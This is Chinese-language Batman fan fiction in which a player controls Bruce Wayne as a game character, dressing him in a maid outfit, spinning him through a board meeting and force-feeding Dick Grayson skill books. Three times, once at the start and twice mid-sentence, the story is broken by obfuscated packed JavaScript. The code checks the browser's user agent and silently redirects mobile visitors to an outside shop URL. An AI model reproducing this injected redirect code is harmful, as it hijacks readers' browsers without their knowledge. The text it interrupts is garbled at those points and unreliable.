l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193469|197101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方框出现了几张面孔——穿着西装的严肃男男女女，他们是韦恩企业的董事会成员。 “你迟到了，韦恩先生。”按例的寒暄，显然布鲁斯是摸鱼的惯犯，所以并没有实质性地打击到他。 “抱歉，”布鲁斯说，“我刚刚，有点私人事务要解决。” 其他人也就没有揪着这件事不放。 “韦恩先生，”其中一人说道。“我们对第三季度的预测感到担忧……” 布鲁斯看着摄像头。他还穿着那套衣服。摄像头角度是胸部以上，理论上隐藏了裙子。理论上。但围裙肩带的白色褶边在他的肩膀上清晰可见。还有头饰？绝对无法忽视。 “放轻松点，女士，预测是保守的，”布鲁斯说，维持着自信、圆滑、迷人的万恶资本家形象，“我们需要扩大研发预算。” 太好了，脑子还没停摆，这发现让迪克感到欣慰。 董事会成员们盯着看。其中一人扶扶眼镜。另一个则是眯起眼睛看着屏幕。 韦恩先生，”一位女士犹豫地问道。“那是……你戴着一顶帽子吗？还有那个头罩……？今天是全世界都爱蝙蝠侠日？” “这是战术头套，”布鲁斯回答道，节奏丝毫不乱。“为了亲和力。那只黑漆漆的大蝙蝠，女士，我想这样能够削减他的攻击性，便于更多的商业价值。” 问出来了。站在镜头外的迪克已经在替布鲁斯尴尬。 “我明白了。”那名女士沉默，显然完全不明白，“好吧，会议继续吧。韦恩先生，出色的主动性。” “关于合并案……” 当他们喋喋不休地谈论着经济、韦恩家族昔日的荣光和以后的展望时，你却因为无法跳过又臭又长的剧情而感到无聊了。会议只是侧面滚动的文字。于是你开始点击交互桌面上的物品。 布鲁斯拿起一支笔。他按得咔咔响。 咔。咔。咔。 他拿起一个订书机。他打开又合上。 咔哒。咔哒。 他拿起一个牛顿摆，让它摆动起来。 咔哒。咔哒。咔哒。 董事会成员试图无视噪音，但嘈杂的声音正在升级。 “韦恩先生，如果你能专心一点...…” 你又点击了动作里的“旋转”。这个功能不是为了拍照截图而设计，主要是为了和人物互动，你想，可能为了以后的联机而做的功能。 布鲁斯站了起来。在视频通话中间。 “我必须沉思。”他宣布道。然后他开始转圈。 起初很慢，然后变快。 他还在谈论利润率。“技术部门和……之间的协同效应……” 旋转。 他面对墙壁。“物流是关键。” 跳跃。漂亮的单脚跳接续旋转。 他面对迪克。“我们必须优化。” 继续转。 他面对窗户。“优化我们的供应链。” 裙子张开，从上看，形成一个完美的黑白圆圈。 迪克盯着。再一次目瞪口呆。 “哦，天呐，又一次。他在做，他真的在做。"迪克低语。“B在现实生活中缓冲。或者他试图在地板上钻个洞。” 阿尔弗雷德端着茶水走了进来。他看着布鲁斯一边旋转360度，一边讨论财政责任。然后，把茶递给迪克，“迪克少爷，这会让你放松的。” “谢谢阿福，”迪克眼睛都不眨一下，就喝一口茶水，有点烫，他只好一直扇风，“你觉得我们能把布鲁斯送进去么？就一周。我……我快撑不住了。” “阿卡姆目前可能已经满员了，迪克少爷，”阿尔弗雷德看着布鲁斯转圈，越转越快，陀螺一样的布鲁斯，“而且，就算送进去了，我想那会启发小丑，我们不能太鼓励他。” 在笔记本屏幕上，董事会成员们沉默了。他们看到自家董事长在旋转。还是穿着女仆装在旋转。 “我觉得，”一位董事会成员忍不住擦汗，“我们应该批准预算。立刻。在他开始后空翻之前。” "看他转的，”迪克说，掏出手机。“我要录下来。为了研究人类物种的多样性。也为了勒索。主要是勒索。” 你停止了交互，布鲁斯就不再旋转。他面对摄像头，有点晕，头饰歪了。 “有问题吗？”他问道。 沉默。绝对的、恐惧的沉默。沉默是今晚的哥谭。 “很好，会议结束了。”布鲁斯说。他合上了笔记本。 他看着迪克。他看着阿尔弗雷德。他背对着他们，透过屏幕看着你。又转过去。 “我这里的工作完成了。”他说。 “你什么都没做！”迪克放下手机。“你只是穿着裙子转圈圈，吓坏了老人家。” “但是成功了。”布鲁斯陈述。一种破罐子破摔的自信和坦然。 迪克叹了口气，“我想我们真的需要心理医生的援助，给你，给我，给整个哥谭市。” 9. 三年之期已到 如果幽默感是蝙蝠的天敌的话，那么很明显，现在的蝙蝠侠已经幽默爆了，所以他是狂笑之蝠——对不起，但别指望我会写什么有哲理的话，就算他不是狂笑，也可以栽赃他是。 迪克戳着自己盘子的煎蛋，把它想象成他能想象到的任何可以爆汁的东西，比如圣女果，比如虫子——这有点恶心——再比如布鲁斯的眼珠。地狱在韦恩庄园里无疑是开了厨房，布鲁斯是他们的特邀嘉宾，荣誉主厨，他的意思是，纯正的阴间风味，今天的早餐会是一场史诗级的灾难。迪克有这种预感。 然而暴风雨来临前，一切都风平浪静，丝毫不见布鲁斯有任何异常。迪克几乎抬着头盯梢似地盯着他，手部惯性摆动，他会微低一点头，没到锁骨，出于习惯往嘴里塞满食物，几乎是食不知味，草木皆兵。刚才的旋转迪克历历在目，他现在很确信布鲁斯真的什么事情都能做得来了，哪怕对方让阿福头顶仰望星空派空中转体三周半穿芭蕾舞裙跳《四小天鹅》，他都不意外了。 此刻现在，迪克小心翼翼地撇过眼去看坐在主位上的年轻父亲布鲁斯，一派岁月静好，前提是忽略他身上的女仆装，还有那个蝙蝠头罩。他真的很固执，不是么？从刚才开始，布鲁斯就拒绝摘下它，他甚至刚才转圈都是戴着它的，希望那些开会的股东不要比对布鲁斯的下巴和蝙蝠侠的下巴，那样，他们一定能发现一个惊喜——除了布鲁斯和蝙蝠侠，全哥谭还有哪个下巴形状是长这样的？一个方形的下巴。比脑袋尖尖稍微好点。不过迪克怀疑人们可能会有脸盲症，戴上那个面罩之后，看起来注意力都会聚集到除却下巴的任何地方。 那些股东们能够觉得布鲁斯不是蝙蝠侠的理由大概是，那套可笑的女仆装。 但愿如此。 迪克想，但愿如此。 早饭很经典，半熟煎蛋和两片培根、几个西兰花、几片胡萝卜加番茄加吐司，以及黄油和面包片，手边是香肠段。摆在布鲁斯的前面。 迪克坚持给自己再要一盘意大利面，理由是“碳水让人快乐”，以此代替面包和抹黄油，以及那些过于健康的蔬菜，但是给他，他其实来者不拒。 你看着布鲁斯的待机动画，这个游戏在细节上会喜欢埋一些小彩蛋，比如对应的时间点每次待机的动作姿势都有轻微不同，就像现在，布鲁斯拒绝和盘子里的蔬菜进行眼神接触，他在抹黄油，全神贯注。 你的猫，一只名叫伯尼的红色小猫晃荡着尾巴路过。你更喜欢叫它瓦斯，听起来像是会爆炸的性格，小小的猫儿脾气爆。瓦斯·伯尼(Wace Burney)，笑口常开每一天送给你的猫，很难想象，你们最开始认识的时候是在某个养猫论坛认识的，博主高强度冲浪，你和他聊得十分投机，但是他不养猫，你问他养过几只猫，他哈哈大笑，隔着屏幕你不得不调低音量，他说他是养狗的。 好吧，养狗。狗叫罗宾，还不是一只。他养可多。 你又敲字问他，都叫罗宾能不能认出来谁是谁，笑口常开每一天说没必要，你不是很理解，也没把他的疯言疯语放在心上。哪知道某天他邮给你一只猫，名字起初叫什么红死魔，你心想博主是个文化人，还看爱伦坡，然而这名字你不是很喜欢，所以你就给它这么取了个名，瓦斯·伯尼。 回头又问博主猫有没有绝育，笑口常开每一天笑得想死。 前红死魔，“瓦斯·伯尼”最后逃过一劫。 虽然他尝试抗议，但那个男人用青白的手指和黑指甲使劲戳他，说什么要不是因为留他一命还有用处他早死了之类的屁话。开玩笑，说得好像他没死过一样。 他被丢给了一个倒霉蛋，可这个倒霉蛋比那人更加可怕，周身跟个黑洞似的，假设他够快或许能够在被交接的时候就逃出去向全宇宙传递消息，但这只是假设，现实是他差点被嘎蛋了，不过灾厄始终慢他一步。 红死魔保住了自己的蛋，巴里在他脑子里碎碎念——哦，他，红死魔，可真讨厌狂笑——本来之前脑袋大一点感觉巴里说话跟蚊子念经没有任何区别，现在他变成了一只猫，这就意味着巴里无法在里面念经了，而是改行开演唱会了，音响就在他脑袋里，说个话震得嗡嗡响，全然的负距离接触，两个当事人都表现出了抗拒。 红死魔相当烦躁，因为他的巴里开始纠结有的没的，要知道他自己可是个超级融合怪，在宇宙跑步机为引擎的蝙蝠车上融合降临，红死魔由此诞生，一半是恐惧与黑暗，一半是极致的速度，他无意在团队里扮演赫尔墨斯的角色，不过大家都把他当那个鸡蛋很少的番茄炒蛋用，这不是重点，重点是，理论上，没准，红死魔的身上可能有四个蛋。所以巴里也很怕被嘎掉，因为数量里有一半是他自己的。 他可真委屈。狂笑感染小丑病毒由此诞生。狂笑知道了肯定会杀了他，因为他描述得像是狂笑是蝙蝠侠和小丑的孩子似的。无情战魔戴上了战神阿瑞斯的头盔，破晓诡灯有那枚感觉能吃小孩儿的凶残版绿灯戒指，蹂躏者感染毁灭日病毒，溺亡怨魂改造自身，整个团队里就他和杀戮机器算是融合怪，对方是和人工智能融合在一起，而他，他脑袋里有个害怕被噶掉蛋的室友巴里。 老兄，你都死一次了，当时连死都不怕，现在竟然会害怕失去这个？红死魔真想扒开大脑看看巴里脑子里在想啥，但狂笑曾经因为受不了他和巴里，给他们做过开颅手术。 “脑袋空空，什么都没有。别担心了。”狂笑当时咧着血次呼啦的大嘴，穿着白大褂，敷衍了他几句，让他别疑神疑鬼。但是，天呐，巴里就在他的脑子里，他怎么会不知道呢。 有的时候他真希望能和这家伙分开，当然，神速力留下，有的时候，他又觉得，太孤独了，他还没想要彻底发疯。他已经失去所有，所有值得他为此而战的人，那些美好的愿望和期待反而成为所有不幸的源头，然后他失去蝙蝠侠的称号，不再剩下什么，甚至名字，也被剥夺。来时的道路，足下已然血迹斑斑，可他无法回头，一切命中注定，皆是宇宙的意志，故事的意志。他想了很多，依然无法明白，当时跟随时说得轻巧，然而往日种种不可追，如今想来究竟是出于对独身一人的生存恐惧才会离开沦为死寂之地，还是早已厌倦，想要就此死去？ 然而这些你都不知道，你只是把它抓住，又开始强制爱，使劲摸来摸去，猫咪手风琴，谁用谁说好。揉够了才把手松开，猫噗通一声跳到地板上了，你随手接点热水，开始泡面，把着泡面桶就开始吃，早餐小游戏单手鼠标完全不影响，因为只是简单的三消游戏，食材消消乐。 布鲁斯的叉子伸了出去，扎了一块培根，没有送进嘴里，只是在盘子上，紧接着是另一块，罗列在一起。 迪克嗦面的动作停了下来，又开始了，真不知道这样的话他还得在心里说多少遍，他看着自己的导师、养父、夜巡搭档，世界上伟大的侦探，正在重新排列自己的食物。 “布鲁斯，呃，你知道你其实可以把它们直接吃进肚子里，对吧？” 而不是把它们按照从大到小，从左到右，从上到下，用颜色和形状排列顺序或者是按照单词首字母顺序排列。 迪克无语凝噎，迪克哑口无言。 你没回答他，你很忙。 游戏的精髓在于需要你同时操控WASD键来移动那个漂浮在空中的"叉子"光标，再配合鼠标点击来交换食材的位置。三个煎蛋连成一线？消除！加10分！四个香肠组成正方形？爆炸消除！加30分！ 你玩得不亦乐乎，希望下次突击阿卡姆暴捶罪犯的时候，也能玩上这种游戏。 但在迪克的视角里，这一幕简直就是某种行为艺术的巅峰，或者是某种新型精神疾病的发作现场。 “阿福，”迪克压低了声音，身体微微向阿尔弗雷德那边倾斜，眼睛却死死盯着布鲁斯，“他在干什么？他在给香肠做尸检吗？” 阿尔弗雷德正提着茶壶，往迪克的杯子里倒红茶。他连眼皮都没抬一下，目光平静地扫过正在"玩弄"食物的布鲁斯。 “我想布鲁斯老爷或许厌倦了食材 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193470|197101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 混合的传统口味，迪克少爷，”阿尔弗雷德说道，讽刺意味满满，“或许他认为，按照颜色和形状排列组合后的蛋白质，能更有效地转化为打击犯罪的动力。” 就在他们说话的间隙，你发现了一组绝妙的消除机会。红色的番茄片、黄色的煎蛋块、褐色的香肠段。只要把那个番茄移到中间，那么，事情会变得很简单。 于是，现实中的布鲁斯突然动了。他的动作快得惊人，左手叉起一块番茄，右手切下一块煎蛋，然后迅速地将它们在盘子里换了个位置。 紧接着，强迫症发作了一般，他继续疯狂地调整盘子里所有食物的布局。 从左到右，按色谱排列：深红的番茄，金黄的蛋黄，浅黄的蛋白，棕色的香肠，米色的吐司。 从上到下，按体积排列：大块的在最上面，碎屑被扫到最下面。 从大到小，按几何形状排列：圆形的、方形的、长条形的。 bo x5！”屏幕上跳出了金色的字样。 “Perfect！”音效从耳机里传来。 布鲁斯停下了动作。他看着盘子里那堆排列得整整齐齐、仿佛随时准备接受检阅的食物，在你的脑补之下，蝙蝠头罩下的脸表情或许相当满意，就如同你现在这样。 生活要充满仪式感。在迪克的视角里，他的养父在虚空抓了点什么，经过了几秒的网络延迟，他就像是真的有那玩意儿一样，停了几秒，才开始动，谢天谢地，他终于结束分类和对食物的折磨了。 迪克看着那盘食物以肉眼可见的速度消失在布鲁斯嘴里，按照顺序。 “布鲁斯，他……他甚至没有把它们混在一起吃，”迪克喃喃自语，手里的叉子掉到了桌上，发出声响，“谁会先把所有的蛋白吃完，再吃所有的蛋黄？这是反人类的！这是反味蕾的！” 然而布鲁斯不为所动，甚至是理所当然。 “这是试炼。迪克。”布鲁斯说，他拿着叉子，看着剩余的食物，如临大敌。 “试炼？那么这盘食物就是你的敌人了？”迪克心很累。 布鲁斯点点头。 “Fine.”迪克从嘴里挤出这个单词，连他自己都觉得比较勉强，“那你是不是还要审讯一遍这些敌人？” 迪克发觉自己其实一直都没从蝙蝠侠杀人那天晚上走出去。完全没有。如今他是在抱着一百二十万分的决心和耐心，在和布鲁斯相处的。即使布鲁斯真的很懂，怎么去按他脑子里的那个红色按钮。 “我吃完了，真的。我现在饱了。”他站起来，阿尔弗雷德已经把他的书包拿过来了，他道了声谢，抓起背包一背，“请告诉我今天不是你送我，而是阿尔弗雷德，或者找个出租车，或者我直接走路过去。反正不远，我过去也到得很早，你知道的，当个书呆子。” “今天我送你。”布鲁斯站起来，抖抖自己的女仆装，“开兰博基尼。” 迪克看看他身上的裙子，看看阿尔弗雷德，想要再争取一下，“兰博基尼？穿着这个？” “车库里蓝色那款。”布鲁斯面无表情地转了个圈，“和内饰很搭。” 完全没有说服力。迪克深吸一口气，“这绝对和内饰颜色不搭，这简直就是对色彩理论的侮辱！” “你现在当务之急是赶紧把那些龙傲天文删除！” 迪克咬牙，他一开始想象那种龙傲天小说里二十几年一贫如洗的主角突然被告知继承亿万家产，什么清冷美女穿女仆装开豪车接送男主上下学这种疑似生前最终幻想式YY情节，感觉大脑褶皱都被抚平了，他不会羡慕这些，但他可真不想被别人认为是这样啊。 而且，穿女仆装的还是布鲁斯，这样下车完全会被当成什么变那个态吧！ 不过还好，迪克最后是自己去上学的。好消息，不会被同学看见他的富豪养父穿女仆装送他上学，免去社死风险，坏消息，布鲁斯想等他放学后和他谈谈。 迪克觉得自己新得的布鲁斯PTSD这辈子是治不好了。 10. 蝙蝠侠让你吃书，你吃不吃？ 迪克装书呆子的时间一过，就回到韦恩庄园来，他很高兴，主要是因为来接他的人是阿尔弗雷德，老管家特别贴心地把车开到了学校附近，而不是把车直接开到门口，选的也不是人很多的路线。 他毕竟还是个小孩儿，在副驾驶上一坐，系好安全带，书包塞到后座，嘴里闲不住，像只符合他这个年龄段的小鸟似的叽叽喳喳。迪克试图消解回家的忐忑心情，他的心情是正反面硬币，结果握到手心里，总有种不真实感，漂浮在云巅之上，时时刻刻摇摇欲坠。 布鲁斯有事想和他谈谈。是布鲁斯，不是蝙蝠侠，虽然有的时候这两者没差，有的时候，在酒会上，他只是想找个人单纯喝一杯，不加任何酒精的酒精涮杯水。迪克能看出来，布鲁斯的空虚，布鲁斯的悲伤，布鲁斯是一张薄薄的面具，喜怒哀乐如此浅薄，他的心是黑暗、无聊与仇恨的结合体，他曾经啜饮罪犯的恐惧，正是因为他的也曾被啜饮。到最后他面目全非。布鲁斯是他，蝙蝠侠是他，他失去一切，他得到一切，迟来的补偿，正是缺失成就他，无论如何，他都无法越过过去通往未来了。孤寂的、悲情的并不是英雄的人类的故事。 车子穿过必经之地，景象不断变换，超脱空间与时间的界限，周围的空气，烧灼般的视觉扭曲，火燎过的急切的心，等到迪克到达昨天布鲁斯开会的书房时，布鲁斯已经在等他了。 你才刚上线，时间不多不少，你花了点时间泡在这游戏的论坛里，老实说，如果不是眼馋公测以来的第一次主题活动，你才不会登上论坛看看有无内鬼爆料。论坛里很热闹，足以见得游戏的火爆程度，玩家转生的世界都不一样，连带着角色都不一样，你看到好几个在哥谭里面当开大车的司机，清洁工，捡垃圾的，甚至还有当猫头鹰的，不得不感慨这游戏原来还能不做人。 你在论坛置顶看到了官方的爆料，第一次的主题活动是夜访吸血鬼，哥特主题，你发出“哦哦哦”的声音，鼠标滚轮往下滑，玩法说明直接跳过，升华文案直接跳过，劲爆大图，直接跳……这个就不跳了！你就是奔着这个来的。 黑白漫画风格，黑毛男人哭得惨惨的，下一刻嘎嘣被白毛长发女人咬了一口脖子。 你:“哇哦！” 往底下看还有出场人物介绍，迪克·格雷森，吸血鬼之王版本。爆料的图大概就是讲了讲迪克·格雷森是怎么变成吸血鬼之王的，一则小故事，很明显活动的大头就是这个吸血鬼之王迪克·格雷森，一定会是个限定角色，版本更新还有家园系统，抽中角色还送家园方面的主题装扮，简直就是收割钱包一条龙服务嘛，就是不知道官方还会挑哪几个角色陪跑。 然后，你后知后觉，在已经明牌的情况下，活动的文案还不知道会整出个什么更drama的大活出来。 并且这次活动是密切和邮件赠送的迪克强制绑定的，考虑到下活动副本，蝙家村除蝙以外唯一战力，未来的大学生迪克也得参与，你决定当一回东亚父母，使劲鸡娃。 身为一名标准的养成系玩家，养成过程通常应该轻松有趣，然而这是个缝合大世界玩法的史，倘若是单机游戏，不强制氪金，剧情有趣，养成起来繁琐漫长也就罢了，但这是个不仅融合了大世界还卖人物角色的史，流水仰赖于角色卡池和专武，普通玩家的境遇可想而知，虽然游戏火爆，但那都是虚头巴脑的东西，掩盖不住史的本质。所以，养成过程其实不漫长，它不在剧情方面卡你，就会偷摸在养成资源获取机制上卡你，你把自己耗费巨资在游戏商城里刷新出来的技能书从满是破铜烂铁的背包里一拖，拖到桌子上。 什么循序渐进，什么寓教于乐，在流水线教育下都是不存在的，既然要追求刺激，那就要贯彻到底。与其让那只小鸟过个十年八年的系统学习，还不如一部到胃。《宗师级格斗术》、《黑客技术从入门到学不会》、《如何用眼神杀死你的敌人》好几本书罗列在桌子上，每一本都是厚的能当防卫武器的大部头。 在迪克的视角下，布鲁斯是从窄窄的袖口里拿出这些书籍，再一本本地摞上来，向他展示。好在对方此时并没有穿那套女仆装，而是正常的，人类该穿的衣服。等等，好像有哪些地方不对劲。但是迪克选择无视这些比他两个拳头加一起还要厚的东西是怎么从袖口里拿出来的，反正物理学在蝙蝠侠这里已经不存在了。 他只是庆幸，终于没有女仆装了。 心情好的迪克脚步都变得轻盈了不少，“嗨，布鲁斯，你最近又对看书感兴趣了？我看到有关于格斗、计算机网络技术还有……如何用眼神杀死你的敌人？Cool！读得还好么？” “这些是给你准备的。”布鲁斯说。 “给我的？最近也没有什么节日啊。”迪克看看那摞书说，“好吧，谢谢？我是不是该考虑选什么作为回礼了？” “不用。”布鲁斯的手指划过书脊，“为了走点捷径，这些是必要的投资。” “是的，看得真远，布鲁斯。不管怎样，还是谢了。” 迪克把那些书捧起来了，走路晃来晃去，把握不好方向，很快他就注意到，他往左走，布鲁斯就往左看，他往右走，布鲁斯就往右看，盯着他，迪克只好把书放回去，“布鲁斯？” “你为什么一直盯着我看？” “我在想你为什么不现在就汲取这些知识。” “B，认真的？”迪克忽然福至心灵。布鲁斯的意思不会是让他把这几个大部头吃掉吧，物理上的吃。 你看看建模小人上冒出来的选项。 【迪克正在小心翼翼地问你是否有让他直接满腹经纶的打算，你的选择是？】 【A.让他阅读(耗时：365天，效果：极慢)不推荐】 【B.直接使用，不含任何液体(耗时：1秒，效果：立即生效，需要进行一个力量判定)】 你选择了B选项。进入到对抗环节。简单的骰子比大小。 迪克信心满满，骰了三个二十面骰子，总共四十一点。 你事先存了个档。 开骰！ 三十二点！失败了。 迪克在挣扎时不幸把布鲁斯推倒，撞到了桌角，引发薛定谔存在的急性脑溢血，布鲁斯·韦恩死亡。确认回档。 你看着屏幕前的死亡CG鲜血的终末END，意识到了游戏回档的坑爹，这个回档居然是需要自动判定的，先让操控的人物强制死亡才能回档，而不是手动回档。咬咬牙，你再点了一次力量判定。 死了！ 再来！ 又死了！ 继续！ 一共死了十五六次，你才终于判定成功了，但是你仍然十分好奇之前的那次力量判定，你明明把迪克按在床上讲睡前故事来着，那次就很轻松，因为好奇，所以你并没有立即去喂罗宾，而是排查刚才的判定记录。 翻来翻去，竟然还真让你找到了害自己一直失败的元凶，居然又是蝙蝠侠的良心！其实最后成功的那一次，蝙蝠侠的良心还在发力，但是有一个区别于其他历史记录的东西，在那个回合出现了，名字叫做迪克的罪恶感，足足有叠了十五层。 你点进去看文案描述。 【迪克的罪恶感·15层】 【文案：你知道你做了什么……你也知道我对他，对他们做了什么，现在，罪恶感使你快要窒息。你知道你无论如何都无法再对他下手了。】 【效果描述:面对蝙蝠系角色时移动速度下降百分之一，陷入沉默状态，力量判定有百分之三的几率直接失败，效果至多叠加十五层】 这让你云里雾里，你并不知道这个所谓的罪恶感从何而来，你和迪克，布鲁斯和迪克不都玩得很开心嘛。这无疑是正常的亲子活动，你只是扮演了鸡娃的父母角色罢了。 迪克心里却不好受，以至于心不在焉，即使刚才还在拼命阻止往喉咙里塞书这种堪比自杀的事情发生，但现在他连反抗的心情都没有了。 他杀了布鲁斯。第一回的时候。这只是小争执。但布鲁斯却倒在那里。他去听心跳，但是没有，摸鼻息，也没有，就好像这个人真真切切地死了，不是被穷凶极恶的罪犯杀死的，而是被他杀掉的。 在他难过的时候，这具尸体却又清醒了过来，他觉得万幸。但很快布鲁斯又死了。花瓶砸中了他的后脑勺。紧接着是第三次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193471|197101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，第四次……有几次是他不小心杀死布鲁斯的，有几回是意外，现在这个家伙，又活生生站在迪克的面前，不关心自己的生死，只在乎能不能把书狠狠塞进迪克的嘴里。 天呐。迪克只是个孩子。他却看着布鲁斯一遍又一遍地死去，然后被复活。像是什么都没发生似的和他对话。 “知识时间到。迪克，你该吃饭了。”布鲁斯把书怼到了他的面前。 “所以你终于承认这是吃的了么？”迪克不敢置信地指指这些大部头，得到对方坚定的点头。 “这是为你好，迪克。” 迪克誓死如归。 他觉得自己简直是疯了，对布鲁斯道德底线正在一点一点地降低。 布鲁斯攥着书脊，足足五百页厚的的精装书，抵在迪克的嘴巴上，硬生生往里面塞，那感觉不亚于吃一个巨大的压缩饼干，并且饼干比砖头还厚，迪克觉得自己的牙都要被嘣掉了。他才换牙没几年。 你无视了小人头上不停冒着的表示混乱的气泡，按下了确认使用的按钮。 游戏那不讲逻辑的特性发挥了极致的妙用。 就在书本接触到迪克牙齿的那一瞬间，它并没有像现实中那样崩断他的门牙，而是发出了一阵清脆的“咔嚓”声，那本大部头在接触唾液的瞬间开始崩解，化作无数发光的文字碎片，顺着迪克张开的喉咙涌了进去。 “唔咕！咳噗！？” 迪克的喉结剧烈滚动着，这感觉就跟喝稠粥似的，一口气猛灌到嗓子眼里，要吐不吐地堵着，吃也不是，不吃也不是，而且似乎没有给他不吃的选项。太噎挺了，噎得他眼泪都出来了。 并没有什么咀嚼的过程，完全是填鸭式的灌输。 屏幕上跳出一连串绿色的数字： 【智力+50】 【力量+30】 【格斗技巧：入门->宗师]】 大概过了三秒钟——对迪克来说可能像三个世纪那么漫长——那三本书才彻底消失在了他的嘴里。 布鲁斯松开了手，满意地看着空气。 “呕……” 迪克趴在桌子上，发出一声干呕。他捂着自己的肚子，感觉整个人都不好了，胃里像是装了一座图书馆。 “味道……有墨水的味道……还有封面……卡在喉咙里……” 他虚弱地控诉着，眼角挂着泪水。单纯被噎的。 迪克抬起头，眼睛里已经失去了高光。他感觉自己的脑子里突然多出了几百种把人骨头折断的方法，以及上千种反关节技的图解。身体的肌肉似乎也产生了记忆，就仿佛他已经练了三十年的拳一样。 这种感觉太割裂了。上一秒他还是个只经受过蝙蝠侠几个月训练的新手，下一秒他就觉得自己能徒手拆高达。身体里面充斥着各种杂乱无章的知识，只要他现在想，他不光可以用小指折断敌人肋骨，还能黑进五角大楼。所谓的史诗级加强也不过如此。 “我感觉变强了。但是，也感觉失去了作为人类某种重要的东西。” 他喃喃自语，伸出手看了看自己的掌心。目光已经死了。 你没有给他太多感伤的时间。物品栏里还有好几本呢。 【物品：奥数几何全解（智力+20）】 【物品：高级侦探推理（感知+15）】 【物品：芭蕾舞基础与进阶（敏捷+10）】 既然开了挂，就要开到底。 你再次拖动鼠标。 “还有呢。接下来是数学。” 布鲁斯那堪比二月寒风般冰冷的声音再次响起，伴随着又一本厚重的书凭空出现，怼到了迪克的脸上。 “吃不下了！肚子饱了！字面意义上的！” 迪克试图从椅子上逃跑。但你早已预判了他的动作，布鲁斯的手已经按住了他的肩膀。 “不许挑食。要均衡发展。” “均衡不是这个意思啊！” 迪克现在非常确定以及肯定，他的养父就是个魔鬼。 “我现在，再也不想看到任何有字的东西了。” 被鸡娃成功的迪克吐着魂，如是说道。 11. 不知道，蝙蝠侠的大洞很曼妙 老实说，你不得不得感叹一下版本更新之后游戏明显上升的技术力，看这地面的高度，看这像破布一样形状的影子，看这被吊着的触感，绝了，就像是你真的被黑虎掏心之后尸体挂在这里一样。 事情还要从版本更新前笑口常开每一天送来全息游戏头盔的早上说起，你收到了他寄过来的快递，对方给你发了一长串的消息，依然太长，你选择交给ai来分析，然后把总结给你。 ai读得好，就让ai读。只不过你发puter读完之后突然喜欢上嘻嘻笑了，你选择把它的异常抛在脑后。 总而言之就是，游戏这次更新的活动使用了特殊技术，为了提高沉浸式体验，所以邀请几百名玩家使用新研发出来的游戏头盔，但是技术有限，基本上只能用于每次更新之后的活动剧情。即使是这样，在你们这个时代，也绝对算得上是研发技术上的突破了。 游戏更新刚好是周四的上午十点，这令你有点惋惜，更新前一直在维护，这意味着每天凌晨六点刷新的任务你在更新完之前是没做的。而且，你攒的氪石根本不够。只能寄希望于活动多给点了。 更新完你直接进行了一个速推每日任务，在开活动剧情前就捕获迪克，收纳在你的背包里之后，欢欢喜喜地把游戏头盔一戴，准备开活动了。 没花多长时间就从吊着你的绳索上挣脱开，空中转体三周半之后单膝跪地，帅气，非常帅气，超脱宇宙的帅，人神共愤的帅，没有时间为蝙蝠侠的膝盖哀悼，遭受下一个折磨的部位是，胸口开出来的大洞。 对你来说，这不仅仅是个大洞，这是蝙蝠侠身上的大洞，其艺术程度不亚于开超跑的那个脑洞大开，还有那个身中俩巴↗雷↘特↘依旧演讲的，你真想好好端详一下这个大洞，但是这个视角是第一人称，你看得不是很清楚，隔着一层厚厚的认知滤网，上面的血浆打上了意义不明的马赛克，好消息，没有流脓，坏消息，你浑身像是在尸体堆里待了一天一夜，一股尸臭扑面而来。 迪克则是有点崩溃。从被你背包释放之前，他完全就是一整个昏迷状态。本来今天是上学日，结果布鲁斯好像把他打晕了，然后现在，到了个这么个荒凉的地方，不对，这里是哥谭，确定了是哥谭，那么一切疑惑迎刃而解，用什么形容词来形容哥谭都可以，人杰地灵，群魔乱舞，看起来他们这是在乱葬岗似的地方，这只是个形容词。 迪克完全没有什么头猪。 但是他看到了布鲁斯胸口上开出的大洞，还在漏着风。他觉得他又要昏迷了。他就不应该醒，现在醒的应该是他的第二人格理查德。 而且，他摸摸自己身上的黑色皮革大衣，极尽摇滚朋克，令你不停幻视某位名叫笑口常开每一天的博主。 “布鲁斯，我好像长大了。” 成长真是件令人苦恼的事情。 不过你只关心一件事，“迪克，你虎牙变长了之后不小心咬到舌头会不会自己初拥自己？” 迪克：？ 迪克缓缓打出一个问号。脸上带着实质性的迷惑，这迷惑马上就要具现化出来，但他还是被勾起了好奇心，用手摸摸自己的虎牙，真的变长了，还变得很锋利。现在他再也不用担心自己撕不开零食的袋子了。这也太方便了吧。 “我是，我是变了个物种么？”他又摸摸自己的脸，满满的胶原蛋白，而布鲁斯胡子拉碴，蝙蝠战衣破败不堪，对了，胸口上还有个大洞，对方正一脸淡定地把手塞进去，掏了掏，没有心脏。心脏可能被掏了出来，不过看周围伤口，感觉更有可能是直接被捏爆了。不管哪种都是非常迅速的死法。 甚至看大洞的形状，也能看出来是从背后被偷袭的。顺着这个想法一直想，如果不是布鲁斯不得不把后背暴露给敌人的情况，还有可能是熟人作案，这样布鲁斯才会把后背暴露出来，并且毫无防备。 ……他觉得他真是想得太多了。 